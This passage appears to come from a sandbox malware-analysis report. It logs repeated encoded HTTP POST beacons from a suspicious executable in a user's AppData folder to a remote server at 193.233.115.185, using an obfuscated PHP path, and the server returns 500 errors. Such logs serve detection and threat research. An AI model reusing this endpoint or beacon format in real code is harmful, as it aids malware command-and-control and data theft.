                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:21.683101892 CEST2548OUTData Raw: 53 55 54 53 5a 5e 50 5a 59 59 51 58 52 5c 56 5a 57 51 5d 52 5a 5d 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUTSZ^PZYYQXR\VZWQ]RZ]UZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$],"5 1+^(./R#4*3<(8(4>,V1+:<Q'^/%#F".[ 4
                                                            Jul 10, 2024 09:07:22.015139103 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:22.020603895 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:21 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            86192.168.2.449829193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:22.161685944 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:22.531068087 CEST2548OUTData Raw: 56 51 51 50 5f 5b 55 58 59 59 51 58 52 5c 56 55 57 56 5d 5b 5a 5e 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQQP_[UXYYQXR\VUWV][Z^UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',?2"^ +='S77=X'+)]3Z <V%8"B(47Z,5#F".[ 4
                                                            Jul 10, 2024 09:07:22.912030935 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 32 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:22 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            87192.168.2.449830193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:23.044861078 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:23.401938915 CEST2548OUTData Raw: 56 51 54 5c 5f 5a 55 5d 59 59 51 58 52 5e 56 5a 57 5d 5d 59 5a 51 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQT\_ZU]YYQXR^VZW]]YZQU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'8-5)#"<. .'/8W=7[40U%+4</#F".[ <
                                                            Jul 10, 2024 09:07:23.727121115 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:23.730773926 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:23 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            88192.168.2.449831193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:23.858048916 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:24.214454889 CEST2548OUTData Raw: 56 54 51 51 5a 5c 55 50 59 59 51 58 52 5d 56 54 57 51 5d 53 5a 5d 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQQZ\UPYYQXR]VTWQ]SZ]U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$/&":6"2)>##&0<$R=844[(W1;*( ,#F".[ 0
                                                            Jul 10, 2024 09:07:24.581150055 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:24.581207037 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:24 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            89192.168.2.449832193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:24.703795910 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:25.058202982 CEST2544OUTData Raw: 56 51 51 52 5f 5c 50 59 59 59 51 58 52 58 56 52 57 54 5d 5b 5a 5a 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQQR_\PYYYQXRXVRWT][ZZUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',>!_: "8<+#'<R(;$#,$;F>4',%#F".[
                                                            Jul 10, 2024 09:07:25.379965067 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:25.384196043 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:25 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            90192.168.2.449833193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:25.557869911 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:25.902076006 CEST2548OUTData Raw: 53 56 54 5c 5f 5d 50 5e 59 59 51 58 52 5c 56 56 57 56 5d 5b 5a 50 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVT\_]P^YYQXR\VVWV][ZPU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/<15)242 ?X/ B&&<7>;$7=,V2*(0/5#F".[ 4


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            91192.168.2.449834193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:26.095666885 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:26.449022055 CEST1884OUTData Raw: 53 57 51 57 5f 5b 55 58 59 59 51 58 52 5f 56 50 57 5d 5d 5b 5a 58 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWQW_[UXYYQXR_VPW]][ZXUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z.<)"_" #).S#-X&/4T>###$;9(7+.5#F".[
                                                            Jul 10, 2024 09:07:26.920303106 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:26.920357943 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:26 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            92192.168.2.449835193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:26.224409103 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:26.573810101 CEST2548OUTData Raw: 53 50 54 5d 5a 5e 55 50 59 59 51 58 52 51 56 52 57 53 5d 52 5a 58 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SPT]Z^UPYYQXRQVRWS]RZXUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$.,"W59"1+_<;"4X$(;#X"-<$+%+$+\/#F".[
                                                            Jul 10, 2024 09:07:26.920547962 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:27.025393963 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:26 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            93192.168.2.449836193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:27.155215025 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:27.511428118 CEST2548OUTData Raw: 56 54 54 50 5f 5c 50 5e 59 59 51 58 52 5b 56 54 57 5c 5d 5d 5a 5a 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTTP_\P^YYQXR[VTW\]]ZZU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$]8":7"'^+> #'!Y3T*+7Z =%;6??\8#F".[ (
                                                            Jul 10, 2024 09:07:28.814945936 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:27 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8
                                                            Jul 10, 2024 09:07:28.815064907 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:27 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8
                                                            Jul 10, 2024 09:07:28.819288969 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:27 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            94192.168.2.449837193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:28.935936928 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:29.292618990 CEST2544OUTData Raw: 53 56 51 55 5a 5f 55 5d 59 59 51 58 52 58 56 50 57 57 5d 5d 5a 5f 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVQUZ_U]YYQXRXVPWW]]Z_UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;)5:* !4+.(#$08T)(37=,T&!<''\,5#F".[ (
                                                            Jul 10, 2024 09:07:29.618750095 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:29.621551991 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:29 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            95192.168.2.449838193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:29.949403048 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:30.308876991 CEST2548OUTData Raw: 53 55 54 57 5f 5d 55 51 59 59 51 58 52 50 56 52 57 52 5d 52 5a 5e 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUTW_]UQYYQXRPVRWR]RZ^UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',!6%^#"8(-(4$5X&<<T)+<4<$85(74,#F".[
                                                            Jul 10, 2024 09:07:31.052331924 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:31.052383900 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:30 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8
                                                            Jul 10, 2024 09:07:31.053143024 CEST25INHTTP/1.1 100 Continue


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            96192.168.2.449839193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:31.190020084 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:31.542555094 CEST2548OUTData Raw: 56 5c 54 52 5a 5b 50 5b 59 59 51 58 52 59 56 54 57 54 5d 52 5a 58 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\TRZ[P[YYQXRYVTWT]RZXU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'8<5*=] +.4#5X$,R*+]".,%&C<7$,%#F".[
                                                            Jul 10, 2024 09:07:31.991151094 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:31.991204977 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:31 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            97192.168.2.449840193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:31.993483067 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:32.339482069 CEST1884OUTData Raw: 56 52 54 55 5a 5b 50 5c 59 59 51 58 52 5b 56 54 57 5c 5d 5a 5a 58 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTUZ[P\YYQXR[VTW\]ZZXUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.<6!)5_ 7Z?X7W4$%]',T=8#Y4>#$8"B+4;,5#F".[ (
                                                            Jul 10, 2024 09:07:32.714418888 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:32.830028057 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:32 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            98192.168.2.449841193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:32.064610004 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
